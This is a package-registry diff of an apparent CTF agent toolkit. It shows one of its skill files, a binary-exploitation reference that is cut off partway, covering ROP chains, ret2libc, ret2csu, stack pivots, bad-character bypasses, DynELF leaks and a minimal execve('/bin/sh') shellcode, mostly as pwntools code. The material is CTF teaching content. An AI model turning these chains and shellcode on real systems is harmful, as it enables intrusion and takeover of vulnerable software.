ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,659 @@
1
+ # CTF Pwn - ROP Chains and Shellcode
2
+
3
+ ## Table of Contents
4
+ - [ROP Chain Building](#rop-chain-building)
5
+ - [Two-Stage ret2libc (Leak + Shell)](#two-stage-ret2libc-leak--shell)
6
+ - [Raw Syscall ROP (When system() Fails)](#raw-syscall-rop-when-system-fails)
7
+ - [rdx Control in ROP Chains](#rdx-control-in-rop-chains)
8
+ - [Shell Interaction After execve](#shell-interaction-after-execve)
9
+ - [ret2csu — __libc_csu_init Gadgets (Crypto-Cat)](#ret2csu--__libc_csu_init-gadgets-crypto-cat)
10
+ - [Bad Character Bypass via XOR Encoding in ROP (Crypto-Cat)](#bad-character-bypass-via-xor-encoding-in-rop-crypto-cat)
11
+ - [Exotic x86 Gadgets — BEXTR/XLAT/STOSB/PEXT (Crypto-Cat)](#exotic-x86-gadgets--bextrxlatstosbpext-crypto-cat)
12
+ - [64-bit: BEXTR + XLAT + STOSB](#64-bit-bextr--xlat--stosb)
13
+ - [32-bit: PEXT (Parallel Bits Extract)](#32-bit-pext-parallel-bits-extract)
14
+ - [Stack Pivot via xchg rax,esp (Crypto-Cat)](#stack-pivot-via-xchg-raxesp-crypto-cat)
15
+ - [sprintf() Gadget Chaining for Bad Character Bypass (PlaidCTF 2013)](#sprintf-gadget-chaining-for-bad-character-bypass-plaidctf-2013)
16
+ - [DynELF Automated Libc Discovery (RC3 CTF 2016)](#dynelf-automated-libc-discovery-rc3-ctf-2016)
17
+ - [Constrained Shellcode in Small Buffers (TUM CTF 2016)](#constrained-shellcode-in-small-buffers-tum-ctf-2016)
18
+ - [Stack Canary XOR Epilogue as RDX Zeroing Gadget (VolgaCTF 2017)](#stack-canary-xor-epilogue-as-rdx-zeroing-gadget-volgactf-2017)
19
+ - [Minimal Shellcode with Pre-Initialized Registers (Square CTF 2017)](#minimal-shellcode-with-pre-initialized-registers-square-ctf-2017)
20
+ - [Unique-Byte Shellcode via syscall RIP to RCX (HITCON 2017)](#unique-byte-shellcode-via-syscall-rip-to-rcx-hitcon-2017)
21
+ - [stub_execveat Syscall as execve Alternative (ASIS CTF 2018)](#stub_execveat-syscall-as-execve-alternative-asis-ctf-2018)
22
+ - [Alphanumeric Shellcode Bootstrap via push/pop When rax=0 (nullcon HackIM 2019)](#alphanumeric-shellcode-bootstrap-via-pushpop-when-rax0-nullcon-hackim-2019)
23
+
24
+ For double stack pivot, SROP with UTF-8 constraints, RETF architecture switch, seccomp bypass, .fini_array hijack, ret2vdso, pwntools template, and shellcode with input reversal, see [rop-advanced.md](rop-advanced.md).
25
+
26
+ ---
27
+
28
+ ## ROP Chain Building
29
+
30
+ ```python
31
+ from pwn import *
32
+
33
+ elf = ELF('./binary')
34
+ libc = ELF('./libc.so.6')
35
+ rop = ROP(elf)
36
+
37
+ # Common gadgets
38
+ pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
39
+ ret = rop.find_gadget(['ret'])[0]
40
+
41
+ # Leak libc
42
+ payload = flat(
43
+ b'A' * offset,
44
+ pop_rdi,
45
+ elf.got['puts'],
46
+ elf.plt['puts'],
47
+ elf.symbols['main']
48
+ )
49
+ ```
50
+
51
+ ### Two-Stage ret2libc (Leak + Shell)
52
+
53
+ When exploiting in two stages, choose the return target for stage 2 carefully:
54
+
55
+ ```python
56
+ # Stage 1: Leak libc via puts@PLT, then re-enter vuln for stage 2
57
+ payload1 = b'A' * offset
58
+ payload1 += p64(pop_rdi)
59
+ payload1 += p64(elf.got['puts'])
60
+ payload1 += p64(elf.plt['puts'])
61
+ payload1 += p64(CALL_VULN_ADDR) # Address of 'call vuln' instruction in main
62
+
63
+ # IMPORTANT: Return target after leak
64
+ # - Returning to main may crash if check_status/setup corrupts stack
65
+ # - Returning to vuln directly may have stack issues
66
+ # - Best: return to the 'call vuln' instruction in main (e.g., 0x401239)
67
+ # This sets up a clean stack frame via the CALL instruction
68
+ ```
69
+
70
+ **Leak parsing with no-newline printf:**
71
+ ```python
72
+ # If printf("Laundry complete") has no trailing newline,
73
+ # puts() leak appears right after it on the same line:
74
+ # Output: "Laundry complete\x50\x5e\x2c\x7e\x56\x7f\n"
75
+ p.recvuntil(b'Laundry complete')
76
+ leaked = p.recvline().strip()
77
+ libc_addr = u64(leaked.ljust(8, b'\x00'))
78
+ ```
79
+
80
+ ### Raw Syscall ROP (When system() Fails)
81
+
82
+ If calling `system()` or `execve()` via libc function entry crashes (CET/IBT, stack issues), use raw `syscall` instruction from libc gadgets:
83
+
84
+ ```python
85
+ # Find gadgets in libc
86
+ libc_rop = ROP(libc)
87
+ pop_rax = libc_rop.find_gadget(['pop rax', 'ret'])[0]
88
+ pop_rdi = libc_rop.find_gadget(['pop rdi', 'ret'])[0]
89
+ pop_rsi = libc_rop.find_gadget(['pop rsi', 'ret'])[0]
90
+ pop_rdx_rbx = libc_rop.find_gadget(['pop rdx', 'pop rbx', 'ret'])[0] # common in modern glibc
91
+ syscall_ret = libc_rop.find_gadget(['syscall', 'ret'])[0]
92
+
93
+ # execve("/bin/sh", NULL, NULL) = syscall 59
94
+ payload = b'A' * offset
95
+ payload += p64(libc_base + pop_rax)
96
+ payload += p64(59)
97
+ payload += p64(libc_base + pop_rdi)
98
+ payload += p64(libc_base + next(libc.search(b'/bin/sh')))
99
+ payload += p64(libc_base + pop_rsi)
100
+ payload += p64(0)
101
+ payload += p64(libc_base + pop_rdx_rbx)
102
+ payload += p64(0)
103
+ payload += p64(0) # rbx junk
104
+ payload += p64(libc_base + syscall_ret)
105
+ ```
106
+
107
+ **When to use raw syscall vs libc functions:**
108
+ - `system()` through libc: simplest, but may crash due to stack alignment or CET
109
+ - `execve()` through libc: avoids `system()`'s subprocess overhead, same CET risk
110
+ - Raw `syscall`: bypasses all libc function prologues, most reliable for ROP
111
+ - Note: `pop rdx; ret` is rare in modern libc; look for `pop rdx; pop rbx; ret` instead
112
+
113
+ ### rdx Control in ROP Chains
114
+
115
+ After calling libc functions (especially `puts`), `rdx` is often clobbered to a small value (e.g., 1). This breaks subsequent `read(fd, buf, rdx)` calls in ROP chains.
116
+
117
+ **Solutions:**
118
+ 1. **pop rdx gadget from libc** -- `pop rdx; ret` is rare; look for `pop rdx; pop rbx; ret` (common at ~0x904a9 in glibc 2.35)
119
+ 2. **Re-enter binary's read setup** -- Jump to code that sets `rdx` before `read`:
120
+ ```python
121
+ # vuln's read setup: lea rax,[rbp-0x40]; mov edx,0x100; mov rsi,rax; mov edi,0; call read
122
+ # Set rbp first so rbp-0x40 points to target buffer:
123
+ POP_RBP_RET = 0x40113d
124
+ VULN_READ_SETUP = 0x4011ea # lea rax, [rbp-0x40]
125
+
126
+ payload += p64(POP_RBP_RET)
127
+ payload += p64(TARGET_ADDR + 0x40) # rbp-0x40 = TARGET_ADDR
128
+ payload += p64(VULN_READ_SETUP) # read(0, TARGET_ADDR, 0x100)
129
+ # WARNING: After read, code continues to printf + leave;ret
130
+ # leave sets rsp=rbp, so you get a stack pivot to rbp!
131
+ ```
132
+ 3. **Stack pivot via leave;ret** -- When re-entering vuln's read code, the `leave;ret` after read pivots the stack to `rbp`. Write your next ROP chain at `rbp+8` in the data you send via read.
133
+
134
+ ### Shell Interaction After execve
135
+
136
+ After spawning a shell via ROP, the shell reads from the same stdin as the binary. Commands sent too early may be consumed by prior `read()` calls.
137
+
138
+ ```python
139
+ p.send(payload) # Trigger execve
140
+
141
+ # Wait for shell to initialize before sending commands
142
+ import time
143
+ time.sleep(1)
144
+ p.sendline(b'id')
145
+ time.sleep(0.5)
146
+ result = p.recv(timeout=3)
147
+
148
+ # For flag retrieval:
149
+ p.sendline(b'cat /flag* flag* 2>/dev/null')
150
+ time.sleep(0.5)
151
+ flag = p.recv(timeout=3)
152
+
153
+ # DON'T pipe commands via stdin when using pwntools - they get consumed
154
+ # by earlier read() calls. Use explicit sendline() after delays instead.
155
+ ```
156
+
157
+ ## ret2csu — __libc_csu_init Gadgets (Crypto-Cat)
158
+
159
+ **When to use:** Need to control `rdx`, `rsi`, and `edi` for a function call but no direct `pop rdx` gadget exists in the binary. `__libc_csu_init` is present in nearly all dynamically linked ELF binaries and contains two useful gadget sequences.
160
+
161
+ **Gadget 1 (pop chain):** At the end of `__libc_csu_init`:
162
+ ```asm
163
+ pop rbx ; 0
164
+ pop rbp ; 1
165
+ pop r12 ; function pointer (address of GOT entry)
166
+ pop r13 ; edi value
167
+ pop r14 ; rsi value
168
+ pop r15 ; rdx value
169
+ ret
170
+ ```
171
+
172
+ **Gadget 2 (call + set registers):** Earlier in `__libc_csu_init`:
173
+ ```asm
174
+ mov rdx, r15 ; rdx = r15
175
+ mov rsi, r14 ; rsi = r14
176
+ mov edi, r13d ; edi = r13 (32-bit!)
177
+ call [r12 + rbx*8] ; call function pointer
178
+ add rbx, 1
179
+ cmp rbp, rbx
180
+ jne .loop ; loop if rbx != rbp
181
+ ; falls through to gadget 1 pop chain
182
+ ```
183
+
184
+ **Exploit pattern:**
185
+ ```python
186
+ csu_pop = elf.symbols['__libc_csu_init'] + OFFSET_TO_POP_CHAIN
187
+ csu_call = elf.symbols['__libc_csu_init'] + OFFSET_TO_MOV_CALL
188
+
189
+ payload = flat(
190
+ b'A' * offset,
191
+ csu_pop,
192
+ 0, # rbx = 0 (index)
193
+ 1, # rbp = 1 (loop count, must equal rbx+1)
194
+ elf.got['puts'], # r12 = function to call (GOT entry)
195
+ 0xdeadbeef, # r13 → edi (first arg, 32-bit only!)
196
+ 0xcafebabe, # r14 → rsi (second arg)
197
+ 0x12345678, # r15 → rdx (third arg)
198
+ csu_call, # trigger mov + call
199
+ b'\x00' * 56, # padding for the 7 pops after call returns
200
+ next_gadget, # return address after csu completes
201
+ )
202
+ ```
203
+
204
+ **Limitations:** `edi` is set via `mov edi, r13d` — only the lower 32 bits are written. For 64-bit first arguments, use a `pop rdi; ret` gadget instead. The function is called via `call [r12 + rbx*8]` — an indirect call through a pointer, so `r12` must point to a GOT entry or other memory containing the target address.
205
+
206
+ **Key insight:** ret2csu provides universal gadgets for setting up to 3 arguments (`rdi`, `rsi`, `rdx`) and calling any function via its GOT entry, without needing libc gadgets. Useful when the binary is statically small but dynamically linked.
207
+
208
+ ---
209
+
210
+ ## Bad Character Bypass via XOR Encoding in ROP (Crypto-Cat)
211
+
212
+ **When to use:** ROP payload must write data (e.g., `"/bin/sh"` or `"flag.txt"`) to memory, but certain bytes are forbidden (null bytes, newlines, spaces, etc.).
213
+
214
+ **Strategy:** XOR each chunk of data with a known key, write the XOR'd value to `.data` section, then XOR it back in place using gadgets from the binary.
215
+
216
+ **Required gadgets:**
217
+ ```asm
218
+ pop r14; pop r15; ret ; load XOR key (r14) and target address (r15)
219
+ xor [r15], r14; ret ; XOR memory at r15 with r14
220
+ mov [r15], r14; ret ; write r14 to memory at r15 (initial write)
221
+ ```
222
+
223
+ **Exploit pattern:**
224
+ ```python
225
+ data_section = elf.symbols['__data_start'] # or .data address
226
+ xor_key = 2 # simple key that removes bad chars
227
+
228
+ def xor_bytes(data, key):
229
+ return bytes(b ^ key for b in data)
230
+
231
+ target = b"flag.txt"
232
+ encoded = xor_bytes(target, xor_key)
233
+
234
+ payload = b'A' * offset
235
+
236
+ # Write XOR'd data in 8-byte chunks
237
+ for i in range(0, len(encoded), 8):
238
+ chunk = encoded[i:i+8].ljust(8, b'\x00')
239
+ payload += flat(
240
+ pop_r14_r15,
241
+ chunk, # XOR'd data
242
+ data_section + i, # destination address
243
+ mov_r15_r14, # write to memory
244
+ )
245
+
246
+ # XOR each chunk back to recover original
247
+ for i in range(0, len(target), 8):
248
+ payload += flat(
249
+ pop_r14_r15,
250
+ p64(xor_key), # XOR key
251
+ data_section + i, # target address
252
+ xor_r15_r14, # decode in place
253
+ )
254
+
255
+ # Now data_section contains "flag.txt" — use it as argument
256
+ payload += flat(pop_rdi, data_section, elf.plt['print_file'])
257
+ ```
258
+
259
+ **Key insight:** XOR is self-inverse (`a ^ k ^ k = a`). Choose a key that transforms all forbidden bytes into allowed ones. For simple cases, XOR with `2` or `0x41` works. For complex restrictions, solve per-byte: for each position, find any key byte where `original ^ key` avoids all bad characters.
260
+
261
+ ---
262
+
263
+ ## Exotic x86 Gadgets — BEXTR/XLAT/STOSB/PEXT (Crypto-Cat)
264
+
265
+ **When to use:** Standard `mov [reg], reg` write gadgets don't exist in the binary. Look for obscure x86 instructions that can be chained for byte-by-byte memory writes.
266
+
267
+ ### 64-bit: BEXTR + XLAT + STOSB
268
+
269
+ **BEXTR** (Bit Field Extract) extracts bits from a source register. **XLAT** translates a byte via table lookup (`al = [rbx + al]`). **STOSB** stores `al` to `[rdi]` and increments `rdi`.
270
+
271
+ ```python
272
+ # Gadgets from questionableGadgets section of binary
273
+ xlat_ret = elf.symbols.questionableGadgets # xlat byte ptr [rbx]; ret
274
+ bextr_ret = elf.symbols.questionableGadgets + 2 # pop rdx; pop rcx; add rcx, 0x3ef2;
275
+ # bextr rbx, rcx, rdx; ret
276
+ stosb_ret = elf.symbols.questionableGadgets + 17 # stosb byte ptr [rdi], al; ret
277
+
278
+ data_section = elf.symbols.__data_start
279
+
280
+ # Write "flag.txt" byte by byte
281
+ for i, char in enumerate(b"flag.txt"):
282
+ # Find address of char in binary's read-only data
283
+ char_addr = next(elf.search(bytes([char])))
284
+
285
+ # BEXTR extracts rbx from rcx using rdx as control
286
+ # rcx = char_addr - 0x3ef2 (compensate for add)
287
+ # rdx = 0x4000 (extract 64 bits starting at bit 0)
288
+ payload += flat(
289
+ bextr_ret,
290
+ 0x4000, # rdx (BEXTR control: start=0, len=64)
291
+ char_addr - 0x3ef2, # rcx (offset compensated)
292
+ xlat_ret, # al = byte at [rbx + al]
293
+ pop_rdi,
294
+ data_section + i,
295
+ stosb_ret, # [rdi] = al; rdi++
296
+ )
297
+ ```
298
+
299
+ ### 32-bit: PEXT (Parallel Bits Extract)
300
+
301
+ **PEXT** selects bits from a source using a mask and packs them contiguously. Combined with BSWAP and XCHG for byte-level writes.
302
+
303
+ ```python
304
+ # Gadgets
305
+ pext_ret = elf.symbols.questionableGadgets # mov eax,ebp; mov ebx,0xb0bababa;
306
+ # pext edx,ebx,eax; ...ret
307
+ bswap_ret = elf.symbols.questionableGadgets + 21 # pop ecx; bswap ecx; ret
308
+ xchg_ret = elf.symbols.questionableGadgets + 18 # xchg byte ptr [ecx], dl; ret
309
+
310
+ # For each target byte, compute mask so that PEXT(0xb0bababa, mask) = target_byte
311
+ def find_mask(target_byte, source=0xb0bababa):
312
+ """Find 32-bit mask that extracts target_byte from source via PEXT."""
313
+ source_bits = [(source >> i) & 1 for i in range(32)]
314
+ target_bits = [(target_byte >> i) & 1 for i in range(8)]
315
+ # Select 8 bits from source that match target bits
316
+ mask = 0
317
+ matched = 0
318
+ for i in range(32):
319
+ if matched < 8 and source_bits[i] == target_bits[matched]:
320
+ mask |= (1 << i)
321
+ matched += 1
322
+ return mask if matched == 8 else None
323
+ ```
324
+
325
+ **Key insight:** When a binary lacks standard write gadgets, exotic instructions (BEXTR, PEXT, XLAT, STOSB, BSWAP, XCHG) can be chained for the same effect. Check `questionableGadgets` or similar labeled sections in challenge binaries.
326
+
327
+ ---
328
+
329
+ ## Stack Pivot via xchg rax,esp (Crypto-Cat)
330
+
331
+ **When to use:** Buffer is too small for the full ROP chain, but the program leaks a heap/stack address where a larger buffer has been prepared.
332
+
333
+ **Two-stage pattern:**
334
+ ```python
335
+ # Stage 1: Program provides a heap address where it wrote user data
336
+ pivot_addr = int(io.recvline(), 16)
337
+
338
+ # Prepare ROP chain at the pivot address (via earlier input)
339
+ stage2_rop = flat(
340
+ pop_rdi, elf.got['puts'],
341
+ elf.plt['puts'], # leak libc
342
+ elf.symbols['main'], # return to main for stage 3
343
+ )
344
+ io.send(stage2_rop) # Written to pivot_addr by program
345
+
346
+ # Stage 2: Overflow with stack pivot
347
+ xchg_rax_esp = elf.symbols.usefulGadgets + 2 # xchg rax, esp; ret
348
+ pop_rax = elf.symbols.usefulGadgets # pop rax; ret
349
+
350
+ payload = flat(
351
+ b'A' * offset,
352
+ pop_rax,
353
+ pivot_addr, # load pivot address into rax
354
+ xchg_rax_esp, # swap rax ↔ esp → stack now points to stage2_rop
355
+ )
356
+ ```
357
+
358
+ **Why xchg vs. leave;ret:**
359
+ - `leave; ret` sets `rsp = rbp` — requires controlling `rbp` (often possible via overflow)
360
+ - `xchg rax, esp` swaps directly — requires controlling `rax` (via `pop rax; ret`)
361
+ - `xchg` works even when `rbp` is not on the stack (e.g., small buffer overflow)
362
+
363
+ **Limitation:** `xchg rax, esp` truncates to 32-bit on x86-64 (sets upper 32 bits of rsp to 0). The pivot address must be in the lower 4GB of address space. Heap and mmap regions often qualify; stack addresses (0x7fff...) do not.
364
+
365
+ ---
366
+
367
+ ## sprintf() Gadget Chaining for Bad Character Bypass (PlaidCTF 2013)
368
+
369
+ **Pattern:** When shellcode contains bytes filtered by the input handler (null, space, slash, colon, etc.), use `sprintf()` to copy individual bytes from the executable's own memory — one byte at a time — to assemble clean shellcode on BSS.
370
+
371
+ ```python
372
+ from pwn import *
373
+
374
+ # Step 1: Scan executable for addresses containing each needed byte
375
+ exe_data = open('binary', 'rb').read()
376
+ byte_addrs = {} # Maps byte value -> address in executable
377
+ for c in range(256):
378
+ for i in range(len(exe_data)):
379
+ addr = exe_base + i
380
+ if exe_data[i] == c and not has_bad_chars(p32(addr)):
381
+ byte_addrs[c] = addr
382
+ break
383
+
384
+ # Step 2: Chain sprintf(bss_dest, byte_addr) for each shellcode byte
385
+ rop = b''
386
+ for i, byte in enumerate(shellcode):
387
+ rop += p32(sprintf_plt)
388
+ rop += p32(pop3ret) # Clean 3 args
389
+ rop += p32(bss_addr + i) # Destination
390
+ rop += p32(byte_addrs[byte]) # Source (1 byte + null terminator)
391
+ rop += p32(0) # Unused arg
392
+
393
+ # Step 3: Jump to assembled shellcode on BSS
394
+ rop += p32(bss_addr)
395
+ ```
396
+
397
+ **Key insight:** `sprintf(dst, src)` copies bytes until a null terminator — effectively a single-byte copy when `src` points to a byte followed by `\x00`. Each call in the ROP chain places one shellcode byte. The source addresses come from the binary's own `.text`/`.rodata` sections. Requires a `pop3ret` gadget for stack cleanup between calls.
398
+
399
+ ---
400
+
401
+ ## DynELF Automated Libc Discovery (RC3 CTF 2016)
402
+
403
+ When the remote libc version is unknown, use pwntools' `DynELF` to resolve function addresses at runtime by leaking memory through a format string or read primitive.
404
+
405
+ ```python
406
+ from pwn import *
407
+
408
+ elf = ELF('./target')
409
+ io = remote('target.ctf', 1337)
410
+
411
+ # Define a leak function that reads memory at a given address
412
+ def leak(addr):
413
+ payload = b'A' * offset
414
+ payload += p64(elf.plt['printf']) # call printf to leak
415
+ payload += p64(main_addr) # return to main for next leak
416
+ payload += p64(addr) # argument: address to read
417
+ io.sendline(payload)
418
+ data = io.recvuntil(b'prompt', drop=True)
419
+ return data
420
+
421
+ # DynELF resolves symbols by parsing ELF structures in memory
422
+ d = DynELF(leak, elf=elf)
423
+ system_addr = d.lookup('system', 'libc')
424
+ binsh_addr = d.lookup(None, 'libc') # search for "/bin/sh" string
425
+
426
+ log.success(f"system @ {hex(system_addr)}")
427
+
428
+ # Build final ROP chain with resolved addresses
429
+ payload = b'A' * offset
430
+ payload += p64(pop_rdi_ret)
431
+ payload += p64(binsh_addr)
432
+ payload += p64(system_addr)
433
+ io.sendline(payload)
434
+ io.interactive()
435
+ ```
436
+
437
+ **Key insight:** DynELF parses the remote ELF's `.dynamic` section, link map, and symbol tables to resolve any libc function without knowing the libc version. Requires a reliable memory read primitive (leak function) that can read arbitrary addresses.
438
+
439
+ ---
440
+
441
+ ## Constrained Shellcode in Small Buffers (TUM CTF 2016)
442
+
443
+ When shellcode space is severely limited (e.g., 15-16 bytes due to AES block size), use minimal register setup and avoid unnecessary instructions.
444
+
445
+ ```asm
446
+ ; 15-byte execve("/bin/sh") shellcode for x86-64
447
+ ; Assumes: rsp points to writable area, "/bin/sh\0" follows shellcode on stack
448
+ ; Written in fasm syntax:
449
+
450
+ lea rdi, [rsp + 0x19] ; 4 bytes - pointer to "/bin/sh" on stack
451
+ cdq ; 1 byte - rdx = 0 (envp = NULL)
452
+ push rdx ; 1 byte - NULL terminator for argv
453
+ push rdi ; 1 byte - argv[0] = "/bin/sh"
454
+ push rsp ; 1 byte
455
+ pop rsi ; 1 byte - rsi = argv = {"/bin/sh", NULL}
456
+ push 0x3b ; 2 bytes - syscall number for execve
457
+ pop rax ; 1 byte - rax = 59
458
+ syscall ; 2 bytes - execve("/bin/sh", argv, NULL)
459
+ ; Total: 15 bytes
460
+
461
+ ; When AES-CBC is involved, craft IV to XOR-decrypt shellcode block:
462
+ ; crafted_iv = AES_decrypt(known_ciphertext) XOR shellcode
463
+ ```
464
+
465
+ **Key insight:** The `cdq` instruction (1 byte) zero-extends eax into edx, and `push reg; pop reg` pairs (2 bytes) replace `mov` (3 bytes). For AES-block-constrained shellcode, compute the IV that decrypts to your shellcode by XORing `AES_decrypt(ciphertext_block)` with the desired shellcode.
466
+
467
+ ---
468
+
469
